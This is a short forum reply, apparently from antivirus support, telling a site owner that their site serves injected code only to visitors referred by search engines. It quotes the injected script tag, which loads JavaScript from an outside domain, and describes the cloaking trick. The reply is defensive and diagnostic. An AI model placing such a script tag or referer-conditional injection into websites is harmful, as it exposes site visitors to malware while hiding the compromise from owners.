Hi,
This is a common tactic by the bad guys: only show malicious code when the referer is google or some other major search engines. Most people go through these sites to get to your website, and this makes it more difficult for the owner to find out what is happening (wget, for example, would return a clean site, when the referer is not set).
In your case, this code seems to be appended when ref=google:
<script type="text/javascript" src="http://gouremntis.com/?L_7Wec=W1ufHddRf_2T9js2zdNV2wY9&fBZ=G2LH20ht5VT7pfwcehat5_Y7Y"></script>
I imagine this is definitely not intentional.
You need to find the PHP code (will be most likely obfuscated) that is checking referer and inserting this code, and then avast will stop complaining:-).
Honza